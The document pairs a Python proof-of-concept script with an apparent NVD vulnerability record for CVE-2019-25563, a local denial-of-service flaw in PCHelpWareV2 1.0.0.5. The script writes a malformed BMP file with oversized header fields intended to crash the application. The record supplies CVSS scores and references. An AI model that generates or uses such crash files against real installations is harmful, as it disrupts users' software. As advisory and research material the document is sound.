CVE-2019-25563

import struct # Create a malformed BMP file to trigger the DoS vulnerability def create_malformed_bmp(filename): with open(filename, 'wb') as f: # BMP Header (14 bytes) f.write(b'BM') # Signature # File size: Set to a very large value to confuse the parser f.write(struct.pack('<I', 0xFFFFFFFF)) f.write(struct.pack('<I', 0)) # Reserved f.write(struct.pack('<I', 0x36)) # Offset to pixel data # DIB Header (BITMAPINFOHEADER) - 40 bytes f.write(struct.pack('<I', 40)) # Header size # Width: Set to an extremely large value to cause buffer overflow f.write(struct.pack('<I', 0xFFFFFFF)) # Height: Set to an extremely large value f.write(struct.pack('<I', 0xFFFFFFF)) f.write(struct.pack('<H', 1)) # Planes f.write(struct.pack('<H', 24)) # Bits per pixel f.write(struct.pack('<I', 0)) # Compression f.write(struct.pack('<I', 0)) # Image size (can be 0 for RGB uncompressed) f.write(struct.pack('<I', 0)) # X pixels per meter f.write(struct.pack('<I', 0)) # Y pixels per meter f.write(struct.pack('<I', 0)) # Colors used f.write(struct.pack('<I', 0)) # Important colors print(f"Malformed BMP file created: {filename}") if __name__ == "__main__": create_malformed_bmp("crash_pchw2.bmp")

{"cve": {"id": "CVE-2019-25563", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:19.513", "lastModified": "2026-03-24T20:47:37.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PCHelpWareV2 1.0.0.5 contains a denial of service vulnerability that allows local attackers to crash the application by supplying a malformed image file. Attackers can trigger the vulnerability through the Create SC feature by selecting a crafted BMP file with an oversized buffer, causing the application to crash."}, {"lang": "es", "value": "PCHelpWareV2 1.0.0.5 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al proporcionar un archivo de imagen malformado. Los atacantes pueden activar la vulnerabilidad a través de la función Create SC al seleccionar un archivo BMP manipulado con un búfer sobredimensionado, lo que provoca el bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-226"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uvnc:pchelpwarev2:1.0.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "4F97DB90-1253-45B4-9289-32A035A87E24"}]}]}], "references": [{"url": "http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46708", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.uvnc.com/home.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/pchelpwarev2-denial-of-service-via-sc-creation", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}